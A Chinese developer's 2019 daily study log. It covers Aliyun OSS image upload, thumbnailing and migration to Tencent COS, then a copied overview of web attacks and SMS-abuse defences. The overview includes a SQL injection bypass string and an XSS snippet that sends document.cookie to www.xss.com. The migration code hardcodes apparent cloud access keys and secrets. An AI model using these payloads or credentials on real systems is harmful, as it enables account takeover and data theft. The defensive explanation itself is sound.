发表于: 2019-10-14 20:25:02

1 991


一、今天完成的事
1.修改昨天报错的程序,解决了文件上传的问题
controller
// 上传图片
log.info(multipartFile);
String objectName = multipartFile.getOriginalFilename();
boolean state = imageUtil.uploadImage(multipartFile,objectName);
log.info("图片上传状态=====" + state);
String url="https://keshiyang.oss-cn-beijing.aliyuncs.com/"+objectName;
log.info(url);
user.setHead(url);
imageUtil
package com.ksy.uploadUtil;
import com.aliyun.oss.OSSClient;
import com.aliyun.oss.model.*;
import com.google.gson.Gson;
import com.sun.deploy.config.ClientConfig;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.commons.CommonsMultipartFile;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
/**
* @author shiyang
* @PackageName com.ksy.uploadUtil
* @ClassName ksy
* @Description
* @create 2019-09-29 16:33
*/
public class ImageUtil extends HttpServlet {
    public String endpoint;
    public String accessKeyId;
    public String accessKeySecret;
    public String bucketName;
    public ImageUtil(String endpoint, String accessKeyId, String accessKeySecret, String bucketName) {
        this.endpoint = endpoint;
        this.accessKeyId = accessKeyId;
        this.accessKeySecret = accessKeySecret;
        this.bucketName = bucketName;
    }
    public boolean uploadImage(MultipartFile multipartFile,String objectName) throws IOException {
        // 创建OSSClient实例。
        OSSClient ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret);
        String key = System.currentTimeMillis() + multipartFile.getOriginalFilename();
        // 上传文件。<yourLocalFile>由本地文件路径加文件名包括后缀组成,例如/users/local/myfile.txt。
        InputStream inputStream = multipartFile.getInputStream();
        ossClient.putObject(bucketName, objectName, inputStream);
        boolean found = ossClient.doesObjectExist(bucketName, objectName);
        // 关闭OSSClient。
        ossClient.shutdown();
        if (found) {
            return true;
        } else {
            return false;
        }
    }
}
这里修改了图片上传的方法,改用上传文件流,具体的写在收获之中。
存到数据库的是图片的url地址
也能在阿里云的控制台看到图片
打开链接也能直接访问
2.查看ali缩略图sdk文档,整合到项目中
public static void main(String[] args) throws IOException {
OSS ossClient = new OSSClientBuilder().build(endpoint, accessKeyId, accessKeySecret);
try {
// resize(调整大小)
String style = "image/resize,m_fixed,w_100,h_100";
GetObjectRequest request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-resize.jpg"));
// crop( 裁剪)
style = "image/crop,w_100,h_100,x_100,y_100,r_1";
request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-crop.jpg"));
// rotate(旋转)
style = "image/rotate,90";
request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-rotate.jpg"));
// sharpen(锐化)
style = "image/sharpen,100";
request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-sharpen.jpg"));
// add watermark into the image(水印)
style = "image/watermark,text_SGVsbG8g5Zu-54mH5pyN5YqhIQ";
request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-watermark.jpg"));
// convert format(格式转换)
style = "image/format,png";
request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-format.png"));
// image information(获取图片信息)
style = "image/info";
request = new GetObjectRequest(bucketName, key);
request.setProcess(style);
ossClient.getObject(request, new File("example-info.txt"));
} catch (OSSException oe) {
System.out.println("Caught an OSSException, which means your request made it to OSS, "
+ "but was rejected with an error response for some reason.");
System.out.println("Error Message: " + oe.getErrorMessage());
System.out.println("Error Code: " + oe.getErrorCode());
System.out.println("Request ID: " + oe.getRequestId());
System.out.println("Host ID: " + oe.getHostId());
} catch (ClientException ce) {
System.out.println("Caught an ClientException, which means the client encountered "
+ "a serious internal problem while trying to communicate with OSS, "
+ "such as not being able to access the network.");
System.out.println("Error Message: " + ce.getMessage());
} catch (Throwable e) {
e.printStackTrace();
} finally {
ossClient.shutdown();
}
}
}
选取其中的调整大小模块整合到项目中
public URL dealImage(MultipartFile multipartFile,String objectName) throws IOException {
        // 创建OSSClient实例。
        OSS ossClient = new OSSClientBuilder().build(endpoint, accessKeyId, accessKeySecret);
// 设置图片处理样式。
        String style = "image/resize,m_fixed,w_25,h_25";
//设置时间
        Date expiration = new Date(new Date().getTime() + 1000 * 60 * 10 );
        GeneratePresignedUrlRequest req = new GeneratePresignedUrlRequest(bucketName, objectName);
        req.setExpiration(expiration);
        req.setProcess(style);
        URL signedUrl = ossClient.generatePresignedUrl(req);
        System.out.println(signedUrl);
        // 关闭OSSClient。
        ossClient.shutdown();
        return signedUrl;
    }
效果
把url放到数据库中储存
然后修改jsp,加入登录后显示登录用户名和头像,找了半天怎么传数据的方法,最终使用下面的方法成功
我是在拦截器中加入
request.setAttribute("name",user.getName());
request.setAttribute("url",user.getHead());
在前端页面加入
<a href="#" target="_blank"> <img alt="" src=<%=request.getAttribute("url")%>></a>
<%=request.getAttribute("name")%>用户,欢迎您!!
在线人数为:<%=Listener.getActiveSessions() %>
<a href="${pageContext.request.contextPath}/a/u/logout"  style="color: black">注销</a>
效果


3.数据迁移

3.数据迁移
导入腾讯云的包
<dependency>
    <groupId>com.qcloud</groupId>
    <artifactId>cos_api</artifactId>
    <version>5.6.8</version>
</dependency>
imageUtil
/**
* 阿里云数据迁移到腾讯云
* @return
*/
public static boolean transfer() {
    //     创建OSSClient实例
    OSSClient ossClient =
            new OSSClient(
                    "http://oss-cn-beijing.aliyuncs.com",
                    "LTAIorqiTz9CaG3E",
                    "vG7uSBNuxr5RP8KTN3Anu9SSXz1Z26");
    //     获取文件列表并将文件下载到本地文件夹中
    //
    //     ObjectListing是一个实体类,
    //     listObjects是一个返回值为ObjectListing的方法,bucketName作为参数传入,返回对象名(key)
    ObjectListing objectListing = ossClient.listObjects("wangpengwpw");
    //     ObjectListing类型的集合list装入bucket里的文件
    List<OSSObjectSummary> list = objectListing.getObjectSummaries();
    //     遍历list,获取所有的key
    for (OSSObjectSummary s : list) {
        String key = s.getKey();
        ossClient.getObject(
                new GetObjectRequest("wangpengwpw", key), new File("D:/picture/test2.txt"));
    }
    //    关闭客户端
    ossClient.shutdown();
    //     初始化用户身份信息(secretId, secretKey)
    COSCredentials cred =
            new BasicCOSCredentials(
                    "AKIDzCj02sqq447Thfx4kALZEgtqXUDi40sU", "X5XjfLRM4Wp2f290cynTxHL8fGdkjSwA");
    //     设置bucket的区域, COS地域的简称请参照 https://www.qcloud.com/document/product/436/6224
    ClientConfig clientConfig = new ClientConfig(new Region("ap-chengdu"));
    //     生成cos客户端
    COSClient cosclient = new COSClient(cred, clientConfig);
    //     获取文件列表,并将文件上传到腾讯云
    for (OSSObjectSummary c : list) {
        String key = c.getKey();
        File file = new File("D:/picture/test2.txt");
        PutObjectRequest putObjectRequest = new PutObjectRequest("wangpeng-1259443846", key, file);
        cosclient.putObject(putObjectRequest);
    }
    //     关闭客户端
    cosclient.shutdown();
    return true;
}
public static void main(String[] args) {
    transfer();
}
效果




二、遇到的问题
idea今天更新之后出现了问题,一早上都在修复。
三、收获
看防攻击策略的时候看到一篇博客,挺有意思的,也是之前学到的东西都看得懂

常见网络攻击方式介绍及短信防攻击策略的后端实现

1.SQL注入攻击
原理:构造特殊字符串,利用SQL语言的漏洞,对原先的SQL逻辑进行修改。
解释:为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。
举例:
系统数据库使用的statement语句来处理传入的数据,输入管理员账户和密码之后,将密码加密然后放入执行语句执行。
select * from users where username='tarena' and password=md5('admin')
当存在SQL漏洞的时候,通过构造特殊字符串,在用户名输入框中输入:’or 1=1#,密码随便输入,这时执行语句是这样的
select * from users where username='' or 1=1#' and password=md5('')
这时也可以登陆,因为上面这句话等价于
select * from users where username='' or 1=1
等价于
select * from users
然后系统判断返回值不为空,就可以登陆了。
应对措施:
1)使用preparestatement预编译SQL语句,使用占位符来代替传入参数,这样语句结构不会发生变化
2)存储过程。存储过程(Stored Procedure)是一组完成特定功能的SQL语句集,经编译后存储在数据库中,用户通过调用存储过程并给定参数(如果该存储过程带有参数)就可以执行它,也可以避免SQL注入攻击
3)前端预处理语句,过滤非法字符比如;#等
2.XSS跨站脚本攻击
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的。而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。其实XSS攻击就是网站输入框没有限制非法字符,或者没有对脚本内容进行编码导致的!
举例:
var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);
比如这段代码,当我们没有对网站输入框进行非法字符的限制的话,用户输入了这段脚本,这样就会神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。
3.Cookie欺骗
上面的cookie拿来有什么用呢?我们知道,HTTP是无状态的,需要依靠cookie,session来进行登陆状态的验证。
当我们获得别人的cookie之后,就可以通过在浏览器添加cookie的方法(有具体插件可以完成),实现登陆别人的账户来进行操作。
当然这只是cookie欺骗的一种方法,属于修改浏览器,而还有跳过浏览器,直接对通讯数据改写;使用签名脚本,让浏览器可以从本地读写任意域名cookie;欺骗浏览器,让浏览器获得假的域名。
应对措施:
1)开发者方面:少用cookie,一定要用的话,对其进行加密,绑定ip,动态请求一次一换,这样可以减少cookie被盗取后的损失。
2)使用者方面:尽量不在公用电脑输入用户名密码,使用完及时关闭浏览器,清除缓存。
4.DDoS
ddos的全称是分布式拒绝服务攻击,既然是拒绝服务一定是因为某些原因而停止服务的,其中最重要的也是最常用的原因就是利用服务端方面资源的有限性,这种服务端的资源范围很广,可以简单的梳理一个请求正常完成的过程:
1)用户在客户端浏览器输入请求的地址
2)浏览器解析该请求,包括分析其中的dns以明确需要到达的远程服务器地址
3)明确地址后浏览器和服务器的服务尝试建立连接,尝试建立连接的数据包通过本地网络,中间路由最终艰苦到达目标网络再到达目标服务器
4)网络连接建立完成之后浏览器根据请求建立不同的数据包并且将数据包发送到服务器某个端口
5)端口映射到进程,进程接受到数据包之后进行内部的解析
6)请求服务器内部的各种不同的资源,包括后端的API以及一些数据库或者文件等
7)在逻辑处理完成之后数据包按照之前建立的通道返回到用户浏览器,浏览器完成解析,请求完成。
上面各个点都可以被用来进行ddos攻击,包括:
1)某些著名的客户端劫持病毒
2)进行dns劫持,或者直接大量的dns请求直接攻击dns服务器,这里可以使用一些专业的第三方dns服务来缓解这个问题,如Dnspod
3)利用建立网络连接需要的网络资源攻击服务器带宽使得正常数据包无法到达
4)利用webserver的一些特点进行攻击,相比nginx来说,apache处理一个请求的过程就比较笨重。
5)利用应用程序内部的一些特性攻击程序内部的资源如mysql,后端消耗资源大的接口等等,这也就是传统意义上的CC攻击。
了解自己系统的短处,不要以己之短攻敌之长,譬如在路由器等设备上解决应用层攻击就不是一个好的办法,同理,在应用层尝试解决网络层的问题也是不可能的。
我们防护的目标是只让正常的数据和请求进入到我们的服务,一个完善的防御体系应该考虑如下几个层面:
1)作为用户请求的入口,必须有良好的dns防御
2)与你的价值相匹配的带宽资源,并且在核心节点上布置好应用层的防御策略,只允许你的正常应用的网络数据包能够进入,譬如封杀除了80以外的所有数据包
3)有支持你的服务价值的机器集群来抵抗应用层的压力,有必要的话需要将一个http请求继续分解,将连接建立的过程压力分解到其他的集群里。
解决方案
1.前端增加图文验证码,在输入正确的前提下才发送验证码,这里是后端的简单实现
//跳转到绑定手机号码界面
    @RequestMapping(value = "/a/boundtel",method = RequestMethod.GET)
     public String boundTel(HttpServletRequest request,Model model)throws Exception{
        String precode=RandomCode.getRandom(4);
        String username=CookieUtil.getCookieValue(request,"username");
        String usernametel=username+"tel";
        redisCacheManager.hset(usernametel,"precode",precode,exp);//将其存入缓存
        model.addAttribute("precode",precode);
        return "page08";
    }
2.限制单个手机号每日接收短信次数和时间间隔
单手机号限制阿里云方面就可以做到,我在项目中在后台限制了单用户的次数和发送时间间隔
//发送验证码
    @RequestMapping(value = "/a/sendcode",method = RequestMethod.POST)
    public String boundCode(@RequestParam String telephone,String precode,Model model,HttpServletRequest request)throws Exception{
        String username=CookieUtil.getCookieValue(request,"username");
        //将手机号以用户名tel和手机号的键值对方式存进缓存
        String usernametel=username+"tel";
        String precode1=(String)redisCacheManager.hget(usernametel,"precode");
        //判断验证码是否正确
        if(!precode.equals(precode1)){
            throw new MyException("验证码输入错误,请重试");
        }
        //首先确认手机号是否符合规范,不符合就直接报错
        if(!RegexUtil.telephoneRegex(telephone)) {
            throw new MyException("请确认手机号正确");
        }
        System.out.println("手机号正确");
        long time=0;//上次发送的时间,默认为0
        int number=0;//发送的次数,默认为0
        if(null!=redisCacheManager.hget(usernametel,"time")) {
            //如果不为空,则将time设置为缓存的值
          time = (long) redisCacheManager.hget(usernametel, "time");//获取上次发送的时间属性
            //同时获取发送的次数
            number = (int) redisCacheManager.hget(usernametel, "number");
        }
        //如果为空则number和time都为默认值
            System.out.println(time);
            System.out.println(number);
        long curTime=System.currentTimeMillis();
        //如果没有超过一分钟就提示一分钟之内无法再次发送,如果是第一次,time应该为0,一定不会报错
        if((curTime-time)<1000*60){
            throw new MyException("请过一分钟再次发送");
        }
        System.out.println("距离上次发送超过一分钟,可以再次发送");
        //判断是否发送超过十次,超过就报错
        if(number>3){
            throw new MyException("今天已经超过十次,请24小时后再来");
        }
        System.out.println("未超过十次,可以再次发送");
        //创建一个六位随机数字的验证码
        String code= RandomCode.getRandom(6);
        //使用第三方接口发送验证码
        String resCode=TelCode.tleCode(telephone,code);
        //判断是否发送成功
        if(resCode!=null&&resCode.equals("OK")){
            logger.info(username+"短信发送成功");
        }else{
            logger.info(resCode);
            throw new MyException("短信发送失败");
        }
//        System.out.println(usernametel);
        redisCacheManager.hset(usernametel,"tel",telephone,exp);//将telephone存进缓存,之前有就覆盖
//        System.out.println("存入usernametel");
        redisCacheManager.hset(usernametel,"code", code, exp);//将code存入缓存,过期时间设置为30min,之前有就覆盖
        redisCacheManager.hset(usernametel,"time",System.currentTimeMillis(),exp);//存入当前时间戳
        redisCacheManager.hset(usernametel,"number",number+1,exp*48);//存入发送次数,过期时间设置为24小时,即此用户第十次发送后,隔24小时才能再次发送
//        System.out.println("存入telephone");
        model.addAttribute("telephone",telephone);//将其放进model在下一页显示出来
        return "page09";
    }
 
3.对IP进行限制
这个可以通过在服务器上创建脚本实施定时任务,每分钟执行一次脚本,抓取某一个接口一分钟之内的调用次数,超过某个值后查看其调用的ip,超过限制就封掉这个ip
4.对注册流程进行限定
我自己的项目是两道流程之后才能绑定手机,这个要根据PM的要求来设置,我们只需要按照PM要求的流程来操作就行。
5.对发送者进行唯一性识别
我自己是通过cookie的方式来验证,每个接口调用前都会通过拦截器来检查cookie正确性,不正确就会不执行接下来的操作。
但是在实际运行中,需要几种结合起来使用才行。
普通验证码的形式可以通过OCR识别的形式瞬间转化成文本形式,稍复杂的验证码也可以通过OCR+简单机器学习破解。
如果是针对单号码的短信轰炸,其在每个网站一般也就调用几次接口,通过多网站的形式实现轰炸,所以怎么辨别有效用户还是恶意调用就很困难,限制单个手机号次数也很困难杜绝。
禁用ip其实效果也不明显,因为现在切换ip成本很低。
四、明天的计划
完成最后的总结,提交任务



返回列表 返回列表
评论

    分享到